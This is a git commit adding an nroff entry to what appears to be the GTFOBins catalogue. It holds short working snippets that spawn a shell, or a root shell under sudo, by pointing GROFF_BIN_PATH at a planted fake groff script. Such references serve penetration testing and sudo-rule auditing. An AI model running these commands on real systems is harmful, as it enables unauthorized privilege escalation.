Create nroff.md

This commit is contained in:
bcoles 2020-03-17 17:34:57 +11:00 committed by Andrea Cardaci
parent 9eb6538bef
commit 2eadcc4082

17
_gtfobins/nroff.md Normal file
View File

@ -0,0 +1,17 @@
---
functions:
shell:
- code: |
TF=$(mktemp -d)
echo '#!/bin/sh' > $TF/groff
echo '/bin/sh' >> $TF/groff
chmod +x $TF/groff
GROFF_BIN_PATH=$TF nroff
sudo:
- code: |
TF=$(mktemp -d)
echo '#!/bin/sh' > $TF/groff
echo '/bin/sh' >> $TF/groff
chmod +x $TF/groff
sudo -E GROFF_BIN_PATH=$TF nroff
---